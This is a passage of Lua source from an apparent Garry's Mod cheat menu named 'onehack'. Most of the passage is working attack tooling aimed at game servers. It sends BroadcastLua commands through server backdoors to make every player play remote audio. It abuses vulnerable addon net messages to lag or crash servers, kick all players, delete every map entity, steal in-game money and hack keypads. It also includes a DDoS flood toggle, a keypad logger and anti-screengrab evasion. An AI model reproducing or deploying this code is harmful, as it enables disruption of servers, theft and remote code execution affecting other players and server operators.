1111 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/94TU.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Skibidi\")]])")
1112 net.WriteBit(1)
1113 net.SendToServer()
1114 end)
1115
1116 onehack.AddFunction("Музыка - нет админа", "sound", buttlistback, function()
1117 onehack.NetStart( onehack.selectedbackdoor )
1118 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/92xM.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Поиграю я в CS\")]])")
1119 net.WriteBit(1)
1120 net.SendToServer()
1121 end)
1122
1123 onehack.AddFunction("Музыка - Паравозик - Look At Me", "sound", buttlistback, function()
1124 onehack.NetStart( onehack.selectedbackdoor )
1125 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/69Q8.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Паравозик\")]])")
1126 net.WriteBit(1)
1127 net.SendToServer()
1128 end)
1129
1130 onehack.AddFunction("Музыка - Привет всем друзьям", "sound", buttlistback, function()
1131 onehack.NetStart( onehack.selectedbackdoor )
1132 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://supronrp.fr/secret/03.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Привет всем!\")]])")
1133 net.WriteBit(1)
1134 net.SendToServer()
1135 end)
1136 -- http://ru.drivemusic.cc/dl/XYbi6hfhrl28jZHmLCG9Qw/1545785442/download_music/2014/04/lindsey-stirling-feat.-lzzy-hale-shatter-me.mp3
1137 onehack.AddFunction("Музыка - Меня зовут НЛО.", "sound", buttlistback, function()
1138 onehack.NetStart( onehack.selectedbackdoor )
1139 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://musicdeouff.000webhostapp.com/2016.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Я НЛО\")]])")
1140 net.WriteBit(1)
1141 net.SendToServer()
1142 end)
1143
1144 onehack.AddFunction("Музыка - ТОМАС.", "sound", buttlistback, function()
1145 onehack.NetStart( onehack.selectedbackdoor )
1146 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://fl.bisyor.net/uploads/ru/2018/04/Alley-gang-paravozik-tomas_[www.Bisyor.net].mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Томас\")]])")
1147 net.WriteBit(1)
1148 net.SendToServer()
1149 end)
1150 --
1151 onehack.AddFunction("Музыка - DSD512►Lindsey Stirling Shatter Me", "sound", buttlistback, function()
1152 onehack.NetStart( onehack.selectedbackdoor )
1153 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://ru.drivemusic.cc/dl/XYbi6hfhrl28jZHmLCG9Qw/1545785442/download_music/2014/04/lindsey-stirling-feat.-lzzy-hale-shatter-me.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"DSD512►Lindsey Stirling Shatter Me\")]])")
1154 net.WriteBit(1)
1155 net.SendToServer()
1156 end)
1157
1158 onehack.AddFunction("Музыка - Вишневая семёрка", "sound", buttlistback, function()
1159 onehack.NetStart( onehack.selectedbackdoor )
1160 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://dropmp3.ru/uploads/files/2018-08/1535648946_oni-vishnevaya-semerka.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Вишневая семёрка\")]])")
1161 net.WriteBit(1)
1162 net.SendToServer()
1163 end)
1164 onehack.AddFunction("Музыка - ОООООООООООР", "sound", buttlistback, function()
1165 onehack.NetStart( onehack.selectedbackdoor )
1166 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/6377.mp3\", \"mono\", function()end ); chat.AddText(,Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"-Уши\")]])")
1167 net.WriteBit(1)
1168 net.SendToServer()
1169 end)
1170 onehack.AddFunction("Музыка - Obeme", "sound", buttlistback, function()
1171 onehack.NetStart( onehack.selectedbackdoor )
1172 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/9Aed.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Обеме\")]])")
1173 net.WriteBit(1)
1174 net.SendToServer()
1175 end)
1176 --
1177 onehack.AddFunction("Музыка - Денза", "sound", buttlistback, function()
1178 onehack.NetStart( onehack.selectedbackdoor )
1179 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/94TW.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Денза\")]])")
1180 net.WriteBit(1)
1181 net.SendToServer()
1182 end)
1183 onehack.AddFunction("Музыка - Big baby tape", "sound", buttlistback, function()
1184 onehack.NetStart( onehack.selectedbackdoor )
1185 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://zenmusic.org/get/music/20181121/zenmusicorg_Big_Baby_Tape_-_YA_VZYAL_TVOYU_BU_I_YA_EJO_EBU_60457129.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"BABY TAPE\")]])")
1186 net.WriteBit(1)
1187 net.SendToServer()
1188 end)
1189
1190 if onehack.selectedpanel != nil then
1191 onehack.selectedpanel:Remove()
1192 end
1193 onehack.selectedpanel_id = 1
1194 onehack.selectedpanel = onehackdooropt
1195 end
1196
1197 function exploitmenuopt()
1198 exploitmenuopt = vgui.Create( "DPanel" , framesag )
1199 exploitmenuopt:SetPos( 126, 9 )
1200 exploitmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1201 function exploitmenuopt:Paint( w, h )
1202 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1203 end
1204
1205 onehack.exploitspanel = vgui.Create( "DPanel", exploitmenuopt )
1206 onehack.exploitspanel:SetPos(160,5)
1207 onehack.exploitspanel:SetSize(302,373)
1208 function onehack.exploitspanel:Paint( w,h )
1209 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1210 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1211 end
1212
1213 onehack.exploitsList = vgui.Create( "DScrollPanel", onehack.exploitspanel )
1214 onehack.exploitsList:Dock(FILL)
1215 function onehack.exploitsList:Paint( w,h )
1216 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1217 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1218 end
1219 onehack.exploitsList.VBar:SetWidth(1)
1220 onehack.exploitsList:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar():GetWide(), onehack.exploitsList:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
1221 onehack.exploitsList:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnUp:GetWide(), onehack.exploitsList:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
1222 onehack.exploitsList:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnDown:GetWide(), onehack.exploitsList:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
1223 onehack.exploitsList:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnGrip:GetWide(), onehack.exploitsList:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
1224
1225 onehack.exploits_players_list = vgui.Create( "DScrollPanel", exploitmenuopt )
1226 onehack.exploits_players_list:SetPos(5,25)
1227 onehack.exploits_players_list:SetSize(150,298)
1228 function onehack.exploits_players_list:Paint( w,h )
1229 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1230 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1231 end
1232 onehack.exploits_players_list.VBar:SetWidth(1)
1233 onehack.exploits_players_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar():GetWide(), onehack.exploits_players_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
1234 onehack.exploits_players_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnUp:GetWide(), onehack.exploits_players_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
1235 onehack.exploits_players_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnDown:GetWide(), onehack.exploits_players_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
1236 onehack.exploits_players_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnGrip:GetWide(), onehack.exploits_players_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
1237
1238 onehack.player_button_prev = vgui.Create( "DButton", exploitmenuopt )
1239 onehack.player_button_prev:SetText( "" )
1240 onehack.player_button_prev:SetPos(5,5)
1241 onehack.player_button_prev:SetSize(150,20)
1242 function onehack.player_button_prev:Paint( w,h )
1243 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1244 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1245 draw.SimpleText("Player list","DermaDefault",w/2,h/2,Color(130,130,130),1,1)
1246 end
1247
1248 onehack.player_button_all = onehack.exploits_players_list:Add( "DButton" )
1249 onehack.player_button_all:SetText( "" )
1250 onehack.player_button_all:Dock( TOP )
1251 onehack.player_button_all:DockMargin( 0, 0, 0, 0 )
1252 function onehack.player_button_all:Paint( w,h )
1253 if onehack.player_button_all:IsHovered() then
1254 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1255 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
1256 else
1257 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1258 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
1259 end
1260 if onehack.selected_player == 0 then
1261 draw.SimpleText("> All player's <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1262 else
1263 draw.SimpleText("All player's","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1264 end
1265 end
1266 function onehack.player_button_all:DoClick()
1267 onehack.selected_player = 0
1268 end
1269
1270 for k,v in pairs(player.GetAll()) do
1271 local onehack_player_button = onehack.exploits_players_list:Add( "DButton" )
1272 onehack_player_button:SetText( "" )
1273 onehack_player_button:Dock( TOP )
1274 onehack_player_button:DockMargin( 0, 0, 0, 0 )
1275 onehack_player_button.Paint = function( _, w, h )
1276 if onehack_player_button:IsHovered() then
1277 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1278 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
1279 else
1280 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1281 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
1282 end
1283 if onehack.selected_player == v then
1284 draw.SimpleText("> "..v:Name().." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1285 else
1286 draw.SimpleText(v:Name(),"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1287 end
1288 end
1289 function onehack_player_button:DoClick()
1290 onehack.selected_player = v
1291 end
1292 end
1293
1294 onehack.exploitstrip_weapontype = vgui.Create("DTextEntry", exploitmenuopt)
1295 onehack.exploitstrip_weapontype:SetPos( 5, 329 )
1296 onehack.exploitstrip_weapontype:SetSize( 150, 25 )
1297 onehack.exploitstrip_weapontype:SetText( "" )
1298 onehack.exploitstrip_weapontype.Paint = function( self, w, h )
1299 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1300 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1301 self:DrawTextEntryText(onehack.theme.chroma,onehack.theme.chroma,onehack.theme.chroma)
1302 if onehack.exploitstrip_weapontype:GetValue() == "" then
1303 draw.SimpleText("Weapon class (* all)","DermaDefault",3,h/2,Color(255,255,255,5),0,1)
1304 end
1305 end
1306
1307 onehack.exploitstrip = vgui.Create( "DButton", exploitmenuopt )
1308 onehack.exploitstrip:SetPos( 5, 353 )
1309 onehack.exploitstrip:SetSize( 150, 25 )
1310 onehack.exploitstrip:SetText( "" )
1311 onehack.exploitstrip.Paint = function( _, w, h )
1312 if onehack.exploitstrip:IsHovered() then
1313 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1314 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1315 else
1316 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1317 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1318 end
1319 draw.SimpleText("Strip Weapon","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1320 end
1321 function onehack.exploitstrip:DoClick()
1322 if onehack.selected_player ~= 0 then
1323 local weapons = onehack.selected_player:GetWeapons()
1324 if not onehack.exploitstrip_weapontype:GetValue() == "*" then
1325 local stringtotable = string.Explode( ", ", onehack.exploitstrip_weapontype:GetValue() )
1326 for _, g in pairs( weapons ) do
1327 for _, s in pairs( stringtotable ) do
1328 if string.find( string.lower( g:GetClass() ), s ) then
1329 onehack.StripWeapon( g )
1330 end
1331 end
1332 end
1333 else
1334 onehack.StripAllWeapons( weapons )
1335 end
1336 else
1337 for k,v in pairs(player.GetAll()) do
1338 local weapons = v:GetWeapons()
1339 if not onehack.exploitstrip_weapontype:GetValue() == "*" then
1340 local stringtotable = string.Explode( ", ", onehack.exploitstrip_weapontype:GetValue() )
1341 for _, g in pairs( weapons ) do
1342 for _, s in pairs( stringtotable ) do
1343 if string.find( string.lower( g:GetClass() ), s ) then
1344 onehack.StripWeapon( g )
1345 end
1346 end
1347 end
1348 else
1349 onehack.StripAllWeapons( weapons )
1350 end
1351 end
1352 end
1353
1354
1355 end
1356
1357 if table.HasValue( onehack.AllNets, "StackGhost" ) then
1358 onehack.AddExploit("Server Lagger", function()
1359 timer.Create( onehack.RandomString(10), 0.02, 0, function()
1360 for i = 1, 2000 do
1361 onehack.NetStart( str )
1362 onehack.NetWireInt(69,32)
1363 onehack.SendToServak()
1364 end
1365 end)
1366 end)
1367 end
1368 if table.HasValue( onehack.AllNets, "SyncPrinterButtons76561198056171650" ) then
1369 onehack.AddExploit("Steal money of printer", function()
1370 for _,v in pairs(ents.FindByClass("adv_moneyprinter")) do
1371 if v:IsValid() then
1372 onehack.NetStart( "SyncPrinterButtons76561198056171650" )
1373 net.WriteEntity(v)
1374 net.WriteUInt(2, 4)
1375 onehack.SendToServak()
1376 end
1377 end
1378 end)
1379 end
1380 if table.HasValue( onehack.AllNets, "DL_Answering" ) then
1381 onehack.AddExploit("Kick all", function()
1382 local function reportQuestionmark()
1383 for i = 1, 2000 do
1384 onehack.NetStart("DL_Answering")
1385 net.SendToServer()
1386 end
1387 end
1388 timer.Create(onehack.RandomString(10),0.1,50,reportQuestionmark)
1389 end)
1390 end
1391 if table.HasValue( onehack.AllNets, "pac_submit" ) then
1392 onehack.AddExploit("PAC Server Lagger", function()
1393 timer.Create( onehack.RandomString(10), 0.02, 0, function()
1394 for i=1, 1000 do
1395 onehack.NetStart("pac_submit")
1396 onehack.SendToServak()
1397 end end)
1398 end)
1399 end
1400 if table.HasValue( onehack.AllNets, "Client_To_Server_OpenEditor" ) then
1401 onehack.AddExploit("Open menu SCP-249", function()
1402 onehack.NetStart("Client_To_Server_OpenEditor")
1403 onehack.SendToServak()
1404 end)
1405 end
1406
1407 if table.HasValue( onehack.AllNets, "BuyKey" ) then
1408 onehack.AddExploit("Blue UnBox buy crate and key", function()
1409 onehack.NetStart("BuyKey")
1410 onehack.SendToServak()
1411 onehack.NetStart("BuyCrate")
1412 onehack.SendToServak()
1413 end)
1414 end
1415
1416 if table.HasValue( onehack.AllNets, "ChangeOrgName" ) then
1417 onehack.AddExploit("Change org name", function()
1418 onehack.NetStart("ChangeOrgName")
1419 onehack.NetWireString("OOOOOOOOMMMMMMMMMMMGOOOOOOOOOOOOOOOOOD!")
1420 onehack.NetWireString("MY DICK SOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO BIIIIIIIIIIIG!")
1421 net.WriteEntity(LocalPlayer())
1422 onehack.SendToServak()
1423 end)
1424 end
1425
1426 if table.HasValue( onehack.AllNets, "IS_SubmitSID_C2S" ) then
1427 onehack.AddExploit("Easy reward", function()
1428 onehack.NetStart("IS_SubmitSID_C2S")
1429 onehack.NetWireString("Killa")
1430 onehack.SendToServak()
1431 onehack.NetStart("IS_GetReward_C2S")
1432 onehack.SendToServak()
1433 end)
1434 end
1435
1436 if table.HasValue( onehack.AllNets, "IS_SubmitSID_C2S" ) then
1437 onehack.AddExploit("Easy reward", function()
1438 onehack.NetStart("IS_SubmitSID_C2S")
1439 onehack.NetWireString("Killa")
1440 onehack.SendToServak()
1441 onehack.NetStart("IS_GetReward_C2S")
1442 onehack.SendToServak()
1443 end)
1444 end
1445
1446 if table.HasValue( onehack.AllNets, "properties" ) then
1447 onehack.AddExploit("Clear map", function()
1448 for k,v in pairs(ents.GetAll()) do
1449 onehack.NetStart("properties")
1450 onehack.NetWireString( "remove" , 32 )
1451 net.WriteEntity( v )
1452 onehack.SendToServak()
1453 end
1454 end)
1455 end
1456
1457 if table.HasValue( onehack.AllNets, "start_wd_emp" ) then
1458 onehack.AddExploit("Hack all keypad's", function()
1459 onehack.NetStart('start_wd_emp')
1460 onehack.SendToServak()
1461 end)
1462 end
1463
1464 if table.HasValue( onehack.AllNets, "pac.net.TouchFlexes.ClientNotify" ) then
1465 onehack.AddExploit("PAC Server Crash", function()
1466 timer.Create(onehack.RandomString(10), 0, 0, function()
1467 for i = 1, 400 do
1468 onehack.NetStart("pac.net.TouchFlexes.ClientNotify")
1469 net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
1470 onehack.SendToServak()
1471 end
1472 end)
1473 end)
1474 end
1475
1476 if table.HasValue( onehack.AllNets, "ItemStoreDrop" ) then
1477 onehack.AddExploit("ItemStore Lagger", function()
1478 timer.Create(onehack.RandomString(10), 0, 0, function()
1479 for i = 1, 1000 do
1480 onehack.NetStart("ItemStoreDrop")
1481 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1482 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1483 onehack.SendToServak()
1484 end
1485 end)
1486 end)
1487 end
1488
1489 if table.HasValue( onehack.AllNets, "TFA_Attachment_RequestAll" ) then
1490 onehack.AddExploit("TFA Lagger", function()
1491 timer.Create(onehack.RandomString(10), 0.02, 0, function()
1492 for i = 1, 4400 do
1493 onehack.NetStart("TFA_Attachment_RequestAll",true)
1494 onehack.SendToServak()
1495 end
1496 end)
1497 end)
1498 end
1499
1500 if table.HasValue( onehack.AllNets, "TFA_Attachment_RequestAll" ) then
1501 onehack.AddExploit("TFA Lagger", function()
1502 timer.Create(onehack.RandomString(10), 0.02, 0, function()
1503 for i = 1, 4400 do
1504 onehack.NetStart("TFA_Attachment_RequestAll",true)
1505 onehack.SendToServak()
1506 end
1507 end)
1508 end)
1509 end
1510
1511 if table.HasValue( onehack.AllNets, "ts_buytitle" ) then
1512 onehack.AddExploit("Car Dealer Lagger", function()
1513 timer.Create(onehack.RandomString(10), 0, 0, function()
1514 for i=1,1000 do
1515 onehack.NetStart("ts_buytitle",true)
1516 net.WriteTable({})
1517 net.WriteTable({})
1518 net.WriteTable({})
1519 onehack.SendToServak()
1520 end
1521 end )
1522 end)
1523 end
1524
1525 if table.HasValue( onehack.AllNets, "EnterpriseWithdraw" ) then
1526 onehack.AddExploit("Withdraw moneyr", function()
1527 onehack.NetStart("EnterpriseWithdraw")
1528 net.WriteInt(100, 32)
1529 onehack.SendToServak()
1530 end)
1531 end
1532
1533 ---------------------------------------------------------------------------------------
1534 if onehack.selectedpanel != nil then
1535 onehack.selectedpanel:Remove()
1536 end
1537 onehack.selectedpanel_id = 2
1538 onehack.selectedpanel = exploitmenuopt
1539 end
1540
1541 function optionsmenuopt()
1542 optionsmenuopt = vgui.Create( "DPanel" , framesag )
1543 optionsmenuopt:SetPos( 126, 9 )
1544 optionsmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1545 function optionsmenuopt:Paint( w, h )
1546 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1547 end
1548 local Theme = vgui.Create( "DColorMixer",optionsmenuopt);
1549 Theme:SetSize(227,227)
1550 Theme:SetPos(5,5)
1551 Theme:SetPalette( false )
1552 Theme:SetWangs( false )
1553 Theme:SetAlphaBar( false )
1554 Theme:SetColor(Color(onehack.theme.chroma.r,onehack.theme.chroma.g,onehack.theme.chroma.b))
1555 function Theme:ValueChanged( color)
1556 onehack.theme.chroma = Color(color.r,color.g,color.b)
1557 onehack.theme.chromaalt = Color(onehack.theme.chroma.r-55,onehack.theme.chroma.g-60,onehack.theme.chroma.b-30)
1558 end
1559
1560 local asg = vgui.Create("DCheckBox",optionsmenuopt)
1561 asg:SetPos(237,5)
1562 asg:SetValue(onehack.Vars['ASR'])
1563 asg:SetSize(130,17)
1564 function asg:Paint(w,h)
1565 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1566 if asg:GetChecked() then
1567 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1568 end
1569 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1570 draw.SimpleText("Anti-ScreenGrab","DermaDefault",24,h/2,Color(255,255,255),0,1)
1571 onehack.Vars['ASR'] = asg:GetChecked()
1572 end
1573
1574 local asf = vgui.Create("DCheckBox",optionsmenuopt)
1575 asf:SetPos(237,27)
1576 asf:SetValue(onehack.Vars['ASF'])
1577 asf:SetSize(130,17)
1578 function asf:Paint(w,h)
1579 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1580 if asf:GetChecked() then
1581 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1582 end
1583 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1584 draw.SimpleText("Anti-FileSteal","DermaDefault",24,h/2,Color(255,255,255),0,1)
1585 onehack.Vars['ASF'] = asf:GetChecked()
1586 end
1587
1588 local bhop = vgui.Create("DCheckBox",optionsmenuopt)
1589 bhop:SetPos(237,49)
1590 bhop:SetValue(onehack.Vars['BHOP'])
1591 bhop:SetSize(130,17)
1592 function bhop:Paint(w,h)
1593 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1594 if bhop:GetChecked() then
1595 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1596 end
1597 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1598 draw.SimpleText("Bhop","DermaDefault",24,h/2,Color(255,255,255),0,1)
1599 onehack.Vars['BHOP'] = bhop:GetChecked()
1600 end
1601
1602 local WaterMark = vgui.Create("DCheckBox",optionsmenuopt)
1603 WaterMark:SetPos(237,72)
1604 WaterMark:SetValue(onehack.Vars['WaterMark'])
1605 WaterMark:SetSize(130,17)
1606 function WaterMark:Paint(w,h)
1607 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1608 if WaterMark:GetChecked() then
1609 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1610 end
1611 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1612 draw.SimpleText("WaterMark","DermaDefault",24,h/2,Color(255,255,255),0,1)
1613 onehack.Vars['WaterMark'] = WaterMark:GetChecked()
1614 end
1615
1616 local FreeCamBind = optionsmenuopt:Add( "DButton" )
1617 FreeCamBind:SetTextColor( Color( 200, 200, 200 ) )
1618 FreeCamBind:SetText( "" )
1619 FreeCamBind:SetPos(237,95)
1620 FreeCamBind:SetSize(225,23)
1621 function FreeCamBind:Paint( w,h )
1622 if FreeCamBind:IsHovered() then
1623 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1624 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1625 else
1626 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1627 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1628 end
1629 draw.SimpleText("Spectator Mode","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1630 end
1631
1632 FreeCamBind.DoClick = function()
1633 onehack.SpectateMode()
1634 end
1635
1636 local netname = vgui.Create( "DComboBox", optionsmenuopt )
1637 netname:SetPos( 237, 124 )
1638 netname:SetSize( 225, 23 )
1639 netname:SetValue( "Select Network String" )
1640 for _,v in pairs(onehack.foundednets) do
1641 netname:AddChoice( v )
1642 end
1643 netname.OnSelect = function( self, index, value )
1644 onehack.selectedbackdoor = value
1645 end
1646 netname.Paint = function( _, w, h )
1647 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1648 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1649 end
1650
1651 local DDosButton = optionsmenuopt:Add( "DButton" )
1652 DDosButton:SetTextColor( Color( 200, 200, 200 ) )
1653 DDosButton:SetText( "" )
1654 DDosButton:SetPos(237,146)
1655 DDosButton:SetSize(225,23)
1656 function DDosButton:Paint( w,h )
1657 if DDosButton:IsHovered() then
1658 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1659 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1660 else
1661 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1662 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1663 end
1664 if onehack.Vars['DDOS'] then
1665 draw.SimpleText("> DDOS <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1666 else
1667 draw.SimpleText("DDOS","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1668 end
1669 end
1670
1671 DDosButton.DoClick = function()
1672 if not onehack.Vars['DDOS'] then
1673 onehack.Vars['DDOS'] = true
1674 timer.Create("Dosonehack",0.01,0,function()
1675 net.Start(netname:GetValue())
1676 net.WriteTable({"asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd","asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd","asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd","asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd","asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd","asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd","asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd","asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd"})
1677 net.SendToServer()
1678 end)
1679 else
1680 onehack.Vars['DDOS'] = false
1681 timer.Remove("Dosonehack")
1682 end
1683 end
1684
1685 local weapnoslist = vgui.Create("DCheckBox",optionsmenuopt)
1686 weapnoslist:SetPos(237,172)
1687 weapnoslist:SetValue(onehack.Vars['WEAPON_LIST3D'])
1688 weapnoslist:SetSize(130,17)
1689 function weapnoslist:Paint(w,h)
1690 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1691 if weapnoslist:GetChecked() then
1692 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1693 end
1694 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1695 draw.SimpleText("Weapon list","DermaDefault",24,h/2,Color(255,255,255),0,1)
1696 onehack.Vars['WEAPON_LIST3D'] = weapnoslist:GetChecked()
1697 end
1698
1699 local keypadjef = vgui.Create("DCheckBox",optionsmenuopt)
1700 keypadjef:SetPos(237,192)
1701 keypadjef:SetValue(onehack.Vars['keypad_jiw'])
1702 keypadjef:SetSize(130,17)
1703 function keypadjef:Paint(w,h)
1704 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1705 if keypadjef:GetChecked() then
1706 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1707 end
1708 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1709 draw.SimpleText("Keypad logger","DermaDefault",24,h/2,Color(255,255,255),0,1)
1710 onehack.Vars['keypad_jiw'] = keypadjef:GetChecked()
1711 end
1712
1713 ------------------------------------------------------ onehack.Vars['ASR'] 1
1714 if onehack.selectedpanel != nil then
1715 onehack.selectedpanel:Remove()
1716 end
1717 onehack.selectedpanel_id = 3
1718 onehack.selectedpanel = optionsmenuopt
1719 end
1720
1721 function logsmenuopt()
1722 logsmenuopt = vgui.Create( "DPanel" , framesag )
1723 logsmenuopt:SetPos( 126, 9 )
1724 logsmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1725 function logsmenuopt:Paint( w, h )
1726 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
